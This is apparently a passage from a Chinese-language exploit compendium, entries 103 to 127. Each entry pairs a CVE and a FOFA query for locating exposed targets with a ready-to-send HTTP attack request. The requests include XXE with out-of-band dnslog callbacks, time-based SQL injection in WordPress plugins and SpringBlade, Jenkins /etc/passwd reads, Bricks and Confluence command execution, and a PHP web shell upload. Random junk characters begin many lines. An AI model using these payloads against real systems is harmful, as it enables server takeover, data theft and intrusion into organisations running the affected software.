3 f* t( v! H0 _5 B<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
: a7 ?* L0 l4 t
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
* K$ O' i: }! T2 F: Q5 `POST /dana-na/auth/saml-sso.cgi HTTP/1.1
5 ?& K* M, Q2 h! dHost: 192.168.40.130:111
- z5 w; h' ]8 N2 @5 RUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
+ o3 n$ c" J$ v1 T6 xConnection: close
- Q) c& Y0 v5 B0 EContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0 B4 F- _, C2 }+ e3 S
  r0 Q1 I8 v" n$ F# Q9 |" JSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
8 B' }3 D: G9 e1 k
1 \* C, Y$ n. }& z
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
$ U- s6 E+ n1 I5 \9 C8 ^1 l

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
$ x' g6 @# l1 H* ]POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
! A; H0 A/ r2 K: zContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
: N6 O1 Y0 t' Z6 w% F1 zX-Requested-with: XMLHttpRequest
4 T0 n% j: Z* fUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
2 l* \% |) W9 l( x4 B, x* j( kReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
' T/ ]$ _" d9 i$ J9 r' L0 U9 x"topicurl":"getSysStatusCfg",
"token":""
}

2 k# R# S7 O3 J' k, K105. SpringBlade v3.2.0 export-user SQL 注入
1 g$ Y0 y3 J! G& c% `FOFA：body="https://bladex.vip"
& D  z4 a; L0 ^. C: h7 A- o: lhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
3 G2 Q3 ~: u7 W, O
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
$ J( j0 J# P6 RGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
* v( B( l$ r9 Y- e7 n7 aHost: your-ip
9 O# w& D* k0 y0 ~/ }$ S+ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
# W; B, e0 r, u2 R4 b' v1 i; N5 YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 Z- W2 T: o6 Y: `& p# EConnection: close

$ a* J$ {: x2 x! |: c1 j
107. SpringBlade tenant/list SQL 注入
) U% a* [% j( l" i" k6 ZFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
  ?7 d* ^# H9 F1 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
( B0 C/ A* e0 _Connection: close


108. D-Tale 3.9.0 SSRF
  H1 ?9 `5 _. S/ |. U! nCVE-2024-21642
  N/ G( W% N2 `3 LFOFA："dtale/static/images/favicon.png"
: T# p# E: v' }- q$ FGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
7 ]# O7 F5 l( h3 w' [$ _6 V. WHost: your-ip
Accept: application/json, text/plain, */*
& t$ P. O' y* e6 `: aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! V$ O' Y. a# Z# _9 h( F; wAccept-Encoding: gzip, deflate
4 e. l2 v4 m% K" I- {3 H5 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
( Z$ y$ T! ^8 y, n6 r; ?Connection: close

  A' U  b( Q3 Y) p7 x. e- @
109. Jenkins CLI 任意文件读取
  p4 Z- |; Z5 J/ ]5 D7 yCVE-2024-23897
. p; d. n3 m- U* a6 oFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
0 d+ R- r/ t4 J! C6 j! nHost:
, K: r2 Q2 u9 D$ l+ a! ~Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
& Z! Y% {) @3 g; w4 XConnection: keep-alive
Content-Length: 163

; O" o, D2 N$ e- M; qb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
/ h0 R+ u# ^* ~6 Z& @
; v: _* B( ~9 i/ W- r
5 ?+ j4 n( ^: p: cPOST /cli?remoting=false HTTP/1.1
, {0 `- }% Z- D% p% \( vHost:
6 p2 J. t9 \: k' h! S9 u9 u5 RSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
' A% ]- w7 H$ w* x# idownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


# C& ?0 y: ~3 W% a# e110. Goanywhere MFT 未授权创建管理员
, i0 @3 N( l6 U! ^! ECVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
$ o6 Y# w  f7 N5 V$ R" V' eUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
* y0 ?8 l' d+ d+ J) W7 H& s3 |1 sAccept: */*
Accept-Language: en
. s2 r6 x$ j# t) x9 z2 U; ?6 y0 tAccept-Encoding: gzip
! ?# [5 U, i  }
6 \% Q# O. ^0 y5 z8 b) ~/ e
111. WordPress Plugin HTML5 Video Player SQL注入
5 ]+ b/ s: w+ J) C8 Z( ECVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
0 u) ?+ {" p, u% a9 QGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
% l5 Y- A. ]8 Y3 MHost: 192.168.40.130:112
# [) z0 ]3 C: z# JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
9 ~4 S% v( J5 z. ~/ H0 C( A, P% QAccept-Language: en
Accept-Encoding: gzip
! {6 X9 Q5 t# r2 v/ ]1 e

112. WordPress Plugin NotificationX SQL 注入
* x. j* _# Q+ v: K- ECVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
- L% ?) D( Q: W: J+ a6 [' M3 y2 AHost: {{Hostname}}
* |. C+ c' \' IContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

% D$ H7 H6 P7 _6 K
7 p& Q& ?& P9 O. b113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
* _! b+ ]' a- p3 R: Q. h' n7 jFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
1 N, e' m. @" cHost: x.x.x.x
! D7 q$ M) h2 y. k7 @User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
( O: a3 \( |( |+ K- aAccept: */*
Accept-Language: en
9 e4 U, q8 ?! X( I" ?' ~Accept-Encoding: gzip

# j! m* L4 }% I  X2 E
, t8 m2 w  |" m114. WordPress MasterStudy LMS插件 SQL注入
0 B2 h, `" P6 \5 X+ _3 z5 dFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
2 t0 G9 a- F# Q, ~* ^# |4 {3 DGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
# N: Q6 Q8 n7 T: o/ o( n7 P0 i+ EHost: your-ip
8 n, Y/ o3 p9 X3 a" G7 _User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
1 v9 ]- F4 W* \4 EConnection: close
4 E2 e! Y  |. D: X) f% M  Y

+ }  C7 R0 v: U4 f" T; g115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
# m& P/ K0 `$ y+ E" v( rFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 D" p7 k' V+ D* xConnection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
+ A4 M9 ~8 _- K( x2 q* eAccept-Encoding: gzip

{
: @: W# S5 x# N+ h8 R8 B" U. N( D- D"postId": "1",
  "nonce": "第一步获得的值",
1 w' ?1 f8 T% N1 X2 }  "element": {
- u$ X. G+ I+ W! r    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
+ \, w* y0 x7 Y  e        "objectType": "post"
: s& {+ j8 K+ }# |1 [1 l+ {' x. C      }
    }
  }
}

- k7 I1 @& K8 q6 \% k( h
116. wordpress js-support-ticket文件上传
  Z/ c; Y4 A+ p% KFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
% u2 w. m- r& i* p& s! G! ?" L( N$ uHost:
' q. J' T6 g* M/ n. E3 ?6 `" D& }Content-Type: multipart/form-data; boundary=--------767099171
! P5 c# O7 m! }User-Agent: Mozilla/5.0
* s5 Z+ B, J; z) s# x
----------767099171
Content-Disposition: form-data; name="action"
  Y5 J! W! ~$ l7 w& ]configuration_saveconfiguration
----------767099171
7 ]: U& y5 p) HContent-Disposition: form-data; name="form_request"
" _8 b9 A7 A  Wjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
2 u- J) X7 J  o) wContent-Type: image/png
----------767099171--

" q6 f' g' f1 O( P: G2 T5 i
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
1 a+ b8 P( Q! G: G2 r- c0 B  qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 a3 q8 \' V1 v1 j1 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
7 ]( }7 ?' y0 Y$ w# R+ r8 C3 T: nConnection: close
Upgrade-Insecure-Requests: 1

( S1 w% d- ~/ M7 J8 o; F
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
# N2 w& Z& c. ]# i" O3 oCVE-2024-0939
FOFA：title="Smart管理平台"
! S. x- d+ a5 q9 L" QPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
5 s  P9 R% @6 Y# |5 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
/ s: O+ U, d# }. U; \! WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 R. R% y- [, R* ?& {3 W8 U7 }: V9 KAccept-Encoding: gzip, deflate
6 E7 A8 U1 j  g' ^2 Z% Y2 LContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
" Y$ u, U4 ^# H) |7 JOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
  p, x0 ?% E4 [- t8 j; ~' ^Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
* a! I6 E; ^: r2 mTe: trailers
Connection: close
9 K7 V' o/ G" @+ P
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
/ {4 g- d$ ]8 Y3 `, }2 \% E5 {' q?>
-----------------------------13979701222747646634037182887
* c5 A# L' S# y- c' H, _$ eContent-Disposition: form-data; name="txt_path"

- ~1 w  U9 N. V7 G/home/src.php
* O4 l# B' Q+ R  R-----------------------------13979701222747646634037182887--
- t, X* y2 q* N! O# y, d6 T
  D; v: U& H, l- J6 L, X2 a: z
访问/home/src.php
" r: }2 p. E. E# h
7 I/ x; Y+ b6 I' Q+ g119. 北京百绰智能S20后台sysmanageajax.php sql注入
* @) ?# l: t% [* V& L, k, CCVE-2024-1254
# X4 g* b5 \2 V4 W* mFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
/ _' t9 Z, y' |POST /sysmanage/sysmanageajax.php HTTP/1.11
, L( P  W0 Y  Z. x* i2 [& P1 v- @Host: x.x.x.x
. {/ w1 k; A, f; Z0 B4 `& GCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
+ s! `6 R4 V! h, B: g5 |+ a% aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
) p  r, {% j, L6 r! t& gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) u! Y$ d2 n' y2 \Accept-Encoding: gzip, deflate
* U; h$ w; C5 V( A6 @; NContent-Type: application/x-www-form-urlencoded;
: z8 Q/ H2 d4 Y5 ]Content-Length: 109
! c" x% ?: z. x5 l2 XOrigin: https://58.18.133.60:8443
- I& c8 r$ E  u5 M0 @Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
& n) i6 y) A7 \, m0 @& {$ H3 M* vX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
' t% g$ {! T6 G' vX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
8 F- \& p) W* W# B- u" N% d3 qConnection: close
0 ~& o. q- i$ _- b8 ^5 L
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

5 c3 ?. }: t+ O6 ]9 f) K9 n
" k0 h$ z- A7 ]5 ]( s120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
* `# O0 ?* R" ]. b7 [4 T" bPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
/ m6 ~. |8 r2 @User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
2 |/ Z% g4 T# S; t  L% xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
2 M  w4 E' x; }5 A$ n$ ]/ V6 G4 S% NContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
4 |. N+ ~5 n5 dContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
/ l' V$ h7 J* {0 cUpgrade-Insecure-Requests: 1
% P( [% p5 [4 Q& @2 dSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
9 M, s% c2 x' d$ o) WSec-Fetch-User: ?1
Te: trailers
1 k8 p5 ?9 Y) C9 P- VConnection: close
! e5 ?6 e* o6 k& x: X  N
5 {' b) _1 I9 V" |8 {9 z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
; L+ b& Y8 |% u: C3 }$ e% eContent-Type: application/octet-stream

- F9 F2 {$ e0 x( X* Y, Z<?php phpinfo()?>
, T* J6 ]+ n) S0 D4 H-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
3 J& E% K6 F; \' B( y' l+ y-----------------------------42328904123665875270630079328
: Q5 V; b/ O& Z$ L/ v/ \$ CContent-Disposition: form-data; name="1_ck"

1_radhttp
9 ]2 n! F  z  M9 k& R2 d$ `- {-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
" p' t) A( v" v3 G# g. i
5 i2 v* y1 B2 [& `import
1 @6 G& [8 F+ `/ k* j9 i( Z1 c-----------------------------42328904123665875270630079328

0 I# A% K2 `" p( w5 G
9 Z3 d' v4 U2 F( v: d" S$ H$ F文件路径/upload/2.php

0 T4 k+ h! Y$ d& P% G4 m# ]121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
/ @1 D1 q+ Z( g! ^1 RFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
  {# x( B! Z4 U8 u! }- l9 x# uHost: 192.168.40.130:8443
4 ^3 ?' U5 O" HCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
) [$ q) P( V& \$ h* y; m8 x; ]User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
) l' Y* L5 o4 U% m2 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
) C) f9 f/ A  z* p# i# |; i3 {; cContent-Length: 592
: B* v( d# R; ZOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
6 Q* U, \, F$ z, E- PSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
. |8 p6 f" j1 q* F& o' D' i% |Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
: G% o  ~' ~( c( n( g7 X) Z* IConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
: J! s) x9 W2 q# u) b: Q( ?3 X2 qContent-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
+ S: k, y* i- l: w4 U2 n( DContent-Disposition: form-data; name="id_type"
4 X* v- ]% G  U7 ^% W2 P
; [1 H8 P( i% k4 ~1
-----------------------------42328904123665875270630079328
. r  z) r" g3 K% [Content-Disposition: form-data; name="1_ck"
/ v# f: u7 f" f4 }  P
) D* F1 A+ c* X7 n3 R+ @1_radhttp
-----------------------------42328904123665875270630079328
7 f# c  c2 X+ d0 gContent-Disposition: form-data; name="hidwel"

& B5 W: X' M/ k# B( v. i* d$ Nset
8 q8 p. i! x  f2 k9 T: o-----------------------------42328904123665875270630079328


( B0 H4 m/ v: M' Q$ G# m* uboot/web/upload/weblogo/1.php

: E' I) w# V6 F# V2 L' Y122. 北京百绰智能s200管理平台/importexport.php sql注入
6 b) k5 p7 V1 ], ]+ xCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
0 D0 T# A# Y% L6 MCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
; l1 I, ?" H8 N* eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
/ f. \  M' j( [9 I  c( DUpgrade-Insecure-Requests: 1
! Q& [/ C# u& \- M- OSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
- R/ z, R( P( i, `( FSec-Fetch-Site: none
0 {- n: G" Z% y9 Z( p) k4 K1 hSec-Fetch-User: ?1
Te: trailers
8 t. O, M# H, \4 \Connection: close
4 O9 g# u( u3 l% N8 J! f
" d1 L- i2 Y) Q9 Q
! x& C! K3 u, o$ p* ?: }$ t; D3 \0 \+ \123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
! N0 x$ X0 q  R" Y) VPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
; [  ?" S- K+ j9 Y. j" RAccept-Encoding: gzip, deflate, br
9 l2 |( W) m2 ]+ @% L% yAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
& i, j4 Q, h/ y5 C8 I* `( J+ C. GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
- X8 D3 A# `, |) P6 \Content-Type: application/x-www-form-urlencoded
& S- h8 n# {; Z: Z& w8 t
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

* L; A# E9 y- \0 [
0 W: s# W: D& m! B! W124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
, }6 I0 \- u' M4 b9 I: [' g; m5 fHost: 192.168.40.130:8282
# x5 m$ z, z6 D( }" V6 zUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
; r, y* Q( b" [# d8 p- pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
' r: E+ d1 M5 f; r9 B7 h% r$ d6 ^  LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" M/ }) c" w. o, r& NContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx
& G( e0 a5 _) I- [$ H( \% {
: V/ u2 L3 u! F. G125. ConnectWise ScreenConnect身份验证绕过
# M- }4 ?5 v3 i7 t; xCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


% p7 B7 h% J1 Q1 T; o使用方法
0 n. `2 B3 L% y+ }( z" ]python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

2 t: S6 V) b# K5 h5 y- q
创建好用户后直接登录后台，可以执行系统命令。
! J6 l/ k# U1 Z8 d
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
; A/ @* {+ L8 e1 S9 U6 FGET /static/../../../../../etc/passwd HTTP/1.1
% l/ I1 N7 X* E/ b! gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
. t- w! t' k$ b* c# i- KAccept-Language: en
Accept-Encoding: gzip

' @  U* }/ s4 b5 o2 s$ z
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
0 w8 }9 n! P! d$ y$ ^+ tHost: 192.168.40.130:8888
& {: H' r4 K7 X  p/ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
3 P6 O8 B" O# y  ?1 s+ I/ L, ?, qPurpose: prefetch
* Y8 C2 N3 Q3 r1 tSec-Purpose: prefetch;prerender
6 c9 C4 c2 l3 j9 l
/ }" z" h/ T: I( p5 }------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

! F6 P2 r3 l8 w# k  u. q! ]# o7 jBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
9 F: e" u# d! K. p4 CContent-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 i$ Q( O: s4 s+ K/ D" M]
>
